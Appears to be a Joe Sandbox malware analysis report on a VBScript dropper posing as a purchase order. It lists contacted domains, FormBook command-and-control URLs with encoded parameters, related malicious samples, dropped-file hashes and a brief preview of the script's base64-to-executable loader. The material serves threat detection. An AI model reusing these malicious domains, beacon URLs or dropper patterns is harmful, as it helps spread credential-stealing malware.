https://park.101datacenter.net/images/vendor-1/icon/101domain.ico	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/css/vendor-1.css?20241209054434	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/domain_monitoring_trademark_enforcement_guide.htm	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://park.101datacenter.net/images/vendor-1/google-reviews.svg	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/new_gtld_extensions.htm?utm_campaign=parked-page&utm_medium=referral&utm_s	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.timai.shop	JogKDBeJAc.exe, 00000007.00000002.3306103928.00000000055A4000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/images/vendor-1/com.png	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/gmail_email_aliases.htm	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/domain-registration.htm?utm_campaign=parked-page&utm_medium=referral&utm_s	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/domain-availability-search.htm?utm_campaign=parked-page&utm_medium=referra	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/js/pricing.js?20241209054434	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/js/jquery-3.6.0.min.js?20241209054434	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.financestrategists.com/founder-spotlight/best-corporate-domain-registrar-independent-101	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.101domain.com/resource_center.htm	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cs.deviceatlas-cdn.com/smartclick	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.101domain.com/external_links.htm	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/css/fonts/LatoRegular.woff2	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cs.deviceatlas-cdn.com	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://park.101datacenter.net	JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/css/fonts/LatoRegular.woff)	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.brickhills.site/q6c0/?-V8=DNozHXZRHwMop	JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003686000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/domain_concierge_service.htm?query=waytoocool.life&utm_campaign=parked-pag	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/images/vendor-1/park-back.jpg	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/css/fonts/LatoRegular.woff2)	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.northidahoscans.online/sk-logabpstatus.php?a=L2g4bEdyRU15NHN0SHVwVWZwYVdjU3FNL0laQndpc0cz	chkntfs.exe, 00000006.00000002.3305493710.0000000004ED4000.00000004.10000000.00040000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.00000000034F4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2626329765.0000000015B74000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/js/modernizr-webp.js?20241209054434	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://park.101datacenter.net/images/vendor-1/park-back.webp	JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	chkntfs.exe, 00000006.00000002.3306929490.00000000075CE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://park.101datacenter.net/images/vendor-1/101domain-logo.svg	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/country_domain.htm?utm_campaign=parked-page&utm_medium=referral&utm_source	chkntfs.exe, 00000006.00000002.3305493710.000000000551C000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000006.00000002.3306805444.0000000007270000.00000004.00000800.00020000.00000000.sdmp, JogKDBeJAc.exe, 00000007.00000002.3304665721.0000000003B3C000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
52.60.87.163	www.waytoocool.life	United States	16509	AMAZON-02US	false
199.15.251.162	pin-ballerz.net	United States	29713	ELIA-60US	false
103.224.182.242	www.brickhills.site	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	false
208.91.197.27	www.northidahoscans.online	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	false
18.166.177.211	just-do-public-0526-cpdhe.jiexi-010.top	United States	16509	AMAZON-02US	false
199.193.6.134	www.allstary.top	United States	22612	NAMECHEAP-NETUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576423
Start date and time:	2024-12-17 03:39:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO1341489LTB GROUP.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winVBS@9/3@8/6
Cookbook Comments:	Found application associated with file extension: .vbs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
52.60.87.163	Documents.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.carpentry.club/jcsf/
	DHL TRACKING.exe	Get hash	malicious	FormBook	Browse	www.wooden.fyi/4uk7/
	rpurchasyinquiry.exe	Get hash	malicious	FormBook	Browse	www.wooden.fyi/pbn5/
	factura.exe	Get hash	malicious	FormBook	Browse	www.maxwellfi.com/qpcj/?PCKydxRp=k1F4usNRs9w5dz0wAa964se4ihH6gHXdfU6/O1ysPWDfP/qFmRAFS+OwiNWCh/2BLbWGmfjspirmV8iPAz+9fIHaNxAvxp6JH6sRoW95ASBz&IVD=vTEpW4TmB
	TT_Swift_Copy.xls	Get hash	malicious	FormBook	Browse	www.lumira.skin/jk56/?qL3=bZcaCVevz/CjjxBpqnizh9EdlHqjRopABUyYNuq7Kb2Q3s66myV4rbXDrSssKtCWBri7iw==&O0DHn6=YxoDu0HP7V
	CV.doc	Get hash	malicious	FormBook	Browse	www.prospin.click/mg0g/?G2=AMo+Cmk3hXK3yH/KQRdEfavaLWFie8ehN2HIFp6MhDBnwy4mJAPROf6TTmmTOHloXs1NFvilG7N23QG/W1CKoVDkvkIXGEGyBHUKE88=&dz=ovClIV4H5
	aj4Q8yG6NG.exe	Get hash	malicious	FormBook	Browse	www.prospin.click/rkvi/?rj3XCz4=ka5t9vYsEa2dr4K2psPjUXh1Ra65uMYal7PUsn+KKItd8MVsuIfw0p+4swlTbNS7nPhbZlTMHB/SQ2+aogP+A16r87RCNzyTpbvX4KqvzpkI&JbGlt=QRYxF2K8g8
	BvUGO4AmpJ.exe	Get hash	malicious	FormBook	Browse	www.prospin.click/mg0g/?dHQDe=AMo+Cmk3hXK3yH/JIQszer/7BzcWKv2hN2HIFp6MhDBnwy4mJAPRIbvCWXWUJFNoQc05PPq8C6BqngWJWVPrm17vgxUSQX3Bdg==&v4hPP=RVbDcXjXqxFT0x5p
	GdqrlAmE3T.exe	Get hash	malicious	FormBook	Browse	www.prospin.click/mg0g/?wPJpe=AMo+Cmk3hXK3yH/JIQszer/7BzcWKv2hN2HIFp6MhDBnwy4mJAPRIbvCWXWUJFNoQc05PPq8C6BqngWJWVProV6hkxEPSlfBXil9aYBpEsBh&svR=k4YlqJ20X2XXs
	Tr71jqZGPq.exe	Get hash	malicious	FormBook	Browse	www.prospin.click/mg0g/
103.224.182.242	PO2412010.exe	Get hash	malicious	FormBook	Browse	www.madhf.tech/6ou6/
	Document_084462.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.madhf.tech/3iym/?2O=hj5olkscFnqSpGaYqfjBZra7XyaBOSmns9/m32Sz6t4FBTGsttWpVpOBqSKeTRLk/faBYURW8ZeFt/JnnXLugYa/8Lo3QiO3YShHpm3KJLMhWdtiao9fFGg=&ChhG6=J-xs
	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	www.brickhills.site/vwn2/
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	www.madhf.tech/6ou6/
	Purchase Order..exe	Get hash	malicious	FormBook	Browse	www.madhf.tech/6ou6/
	attached invoice.exe	Get hash	malicious	FormBook	Browse	www.seeseye.website/ebz6/
	YH-3-12-2024-GDL Units - Projects.exe	Get hash	malicious	FormBook	Browse	www.madhf.tech/0mwe/
	Proforma invoice - Arancia NZ.exe	Get hash	malicious	FormBook	Browse	www.madhf.tech/3iym/
	Quotation Validity.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.madhf.tech/6ou6/
	Purchase Order PO.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.madhf.tech/6ou6/

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.allstary.top	Payment Advice - Advice RefA2dGOv46MCnu -USD Priority payment.exe	Get hash	malicious	FormBook	Browse	199.193.6.134
www.brickhills.site	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	103.224.182.242

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	drivers.exe	Get hash	malicious	Unknown	Browse	52.95.161.62
	GameBoxMini.exe	Get hash	malicious	Unknown	Browse	52.95.160.45
	drivers.exe	Get hash	malicious	Unknown	Browse	3.5.237.31
	wayneenterprisesbatcave-6.0.1901-windows-installer.msi	Get hash	malicious	ScreenConnect Tool	Browse	52.32.94.97
	z1enyifdfghvhvhvhvhvhvhvhvhvhvhvhvhvhvhvh.exe	Get hash	malicious	FormBook	Browse	18.143.155.63
	wayneenterprisesbatcave-6.0.1901-windows-installer.msi	Get hash	malicious	ScreenConnect Tool	Browse	52.39.197.120
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	https://afg.acemlnb.com/lt.php?x=3TZy~GE3UnGZEpJA-w9HgOSc2K2ji_L0wu1gjqXGIXSh587-zEy.zuJr1Y2iitE~judAXHPHJeTMHaWtOdxFVOFx23MoiND	Get hash	malicious	Unknown	Browse	52.210.174.128
	http://inspirafinancial.com	Get hash	malicious	Unknown	Browse	52.11.244.148
	Tbconsulting Company Guidelines Employee Handbook.docx	Get hash	malicious	Unknown	Browse	205.251.222.35
TRELLIAN-AS-APTrellianPtyLimitedAU	http://www.firsthealthbp.com	Get hash	malicious	Unknown	Browse	103.224.212.254
	PO2412010.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	http://divisioninfo.net/	Get hash	malicious	Unknown	Browse	103.224.182.251
	Document_084462.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	103.224.182.242
	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	Purchase Order..exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	attached invoice.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	YH-3-12-2024-GDL Units - Projects.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
	Proforma invoice - Arancia NZ.exe	Get hash	malicious	FormBook	Browse	103.224.182.242
ELIA-60US	gllYLLq5op.elf	Get hash	malicious	Mirai	Browse	185.57.62.15
	ZKByZWlOxI.elf	Get hash	malicious	Mirai	Browse	185.57.62.16
	9bRba4KOfR.elf	Get hash	malicious	Mirai	Browse	185.57.62.24
	OlyIcHfaN3.elf	Get hash	malicious	Mirai	Browse	185.57.62.31
	Nrpcnq6Smf.elf	Get hash	malicious	Mirai	Browse	185.57.61.241
	arm.elf	Get hash	malicious	Mirai	Browse	185.57.62.44
	sora.arm.elf	Get hash	malicious	Mirai	Browse	185.57.62.52
	AIreW57ZMM.elf	Get hash	malicious	Mirai	Browse	185.57.62.25
	ibJ2YDOIir.elf	Get hash	malicious	Mirai	Browse	185.57.62.34
	vrJT5ZxIeO.elf	Get hash	malicious	Unknown	Browse	185.57.62.12

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

Process:	C:\Windows\SysWOW64\chkntfs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	335360
Entropy (8bit):	7.903407989667696
Encrypted:	false
SSDEEP:	6144:olxP3BuIQQMqMLZFGLrtFaVkZKwQabJ4klsdy9Urg/rlAji5eyh2ptWlT6trxkD/:obP33yqMdFGLxFRUwz7Gy9oCrz5xMtW5
MD5:	D9A430A4C9B06A9C5F69147498335567
SHA1:	F91B0388A404A217B4ACC5A164133EC5F4005A6F
SHA-256:	0078E04B8BE75F019E8137D0276567A7C47B14224E0F7AAD2B3585BB4C8BAE45
SHA-512:	A3A68669137192EA91DF582049516887C95CD0BD77A6BA500C74DDE23ADDB3C8618901BD91AA3C6A12869151342E10139DD3E9AC8B5CE07D637E50D7088A9E24
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....e............"...0..............3... ...@....@.. ....................................`.................................X3..S....@.......................`.......2..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................3......H............q......@...P................................................I.\.H..R..\|wo.....p.3..6..^'...OW.%d.:...Q......89.....L.y$....~.a.mu.G...[.....U.u?.L.7..v..~....CRr..0.P..z`.&ca%L.v.oX..~8.H.I.z9j_.. )...\|....h,m.'cy.$}5.%.Q.c)...?q....14.>.y..t..%...N0J.^..P].. ..3.L\.....k7.@T...e....C..d`.N.AS..m1..aC...8..X......-T....\o...*@.n.I.0.....7..6...D.....0...:9.Og,]`....b..E.qd..d ~ G...U......w`....Nm..q..)...&w._..;..E\.g.F.....!..X.3.DE.m$QO..

File type:	ASCII text, with very long lines (65235), with CRLF line terminators
Entropy (8bit):	5.987122412782155
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	PO1341489LTB GROUP.vbs
File size:	465'760 bytes
MD5:	fe2b1e9947e1f7ab65d6542ba1abccc0
SHA1:	2753756f5438d94c49fad80ba14bb5440a4b260a
SHA256:	d618b1d56fbd24ce3c15bfd5c238f9ad8695156667d4b6e04c378f8eca6e34d7
SHA512:	0390d5adeaa53471abea236fe16dfd2ea1f35f98028899b80bc42e338d55156a80d56b0c347727778874a8a7496e18e943f36b1aea3585bb6a2569e774fc9283
SSDEEP:	6144:+4RU/er9SEoegy/BCHgjsFXQxe/AbfFi/UcVSSMbv+cO2GGCsuqxbw:+OcmpCHgjsF87DFi/BMfGdqx8
TLSH:	2BA4E021C515A23FCEAA8F9E72040FE2B8F4047EDE89D646F40F586A5EF46354476F28
File Content Preview:	' Define constants for XML and Base64 processing..Const XML_TYPE = "MSXML2.DOMDocument"..Const ELEMENT_TYPE = "text"..Const DATA_TYPE = "bin.base64"....' Declare variables..Dim base64EncodedString, tempFolderPath, executablePath....' Initialize the Base64